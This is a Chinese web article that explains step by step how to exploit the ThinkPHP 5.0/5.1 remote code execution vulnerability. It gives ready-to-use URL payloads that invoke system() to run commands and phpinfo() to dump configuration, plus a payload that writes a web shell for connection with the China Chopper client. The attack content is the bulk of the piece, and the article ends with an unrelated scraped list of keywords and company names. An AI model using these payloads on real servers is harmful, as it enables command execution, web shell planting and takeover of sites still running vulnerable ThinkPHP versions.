千家信息网

如何实现ThinkPHP5.0远程代码执行

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关如何实现ThinkPHP5.0远程代码执行,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。ThinkPHP是一款
千家信息网最后更新 2026年10月31日如何实现ThinkPHP5.0远程代码执行

本篇文章给大家分享的是有关如何实现ThinkPHP5.0远程代码执行,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

ThinkPHP是一款国内流行的开源PHP框架,某些版本可能存在远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围.

受影响的版本包括5.0和5.1

下载ThinkPHP5.0.22版本源码程序,放在PHPStudy运行目录下并访问

1.将Payload添加进入URL地址后面进行利用

Payload1:system函数远程命令执行

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

Payload2:phpinfo函数查看phpinfo()的信息

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2.利用Payload写入shell,并使用菜刀进行连接

Payload1:写入shell

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php

**注意:**需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行.

菜刀连接

以上就是如何实现ThinkPHP5.0远程代码执行,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

代码 字符 引号 漏洞 版本 函数 命令 更多 框架 环境 知识 篇文章 编码 菜刀 转义 部分 影响 实用 特殊 不用 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 天津市摩尔互联网科技 互联网和科技技术 朗涯互联网科技 华中科技大学互联网 菲比寻常互联网科技 万达互联网科技 开启互联网科技时代小说 成都玖崟互联网科技有限公司乐商圈怎么样 湖南诚度互联网科技有限公司 南平创想时代互联网科技有限公司 洛阳昕诺飞互联网科技有限公司 西安小鹰速贷互联网科技有限公司 深圳市罗太互联网科技有限公司 高科技互联网发展前景如何 高科技互联网套路 上海互联网科技公司ppt 江苏互联网科技小贷 湖北辰鑫科技互联网 科技互联网企业在行动 互联网科技企业文化 科技与互联网发展 极限挑战互联网科技 银优互联网科技有限公司 无线互联网科技 互联网科技与管理 广州市恰铎互联网科技有限公司 燊美集互联网科技有限公司 深圳市罗太互联网科技有限公司 互联网科技实习生岗位 雨阳互联网卡科技有限公司
0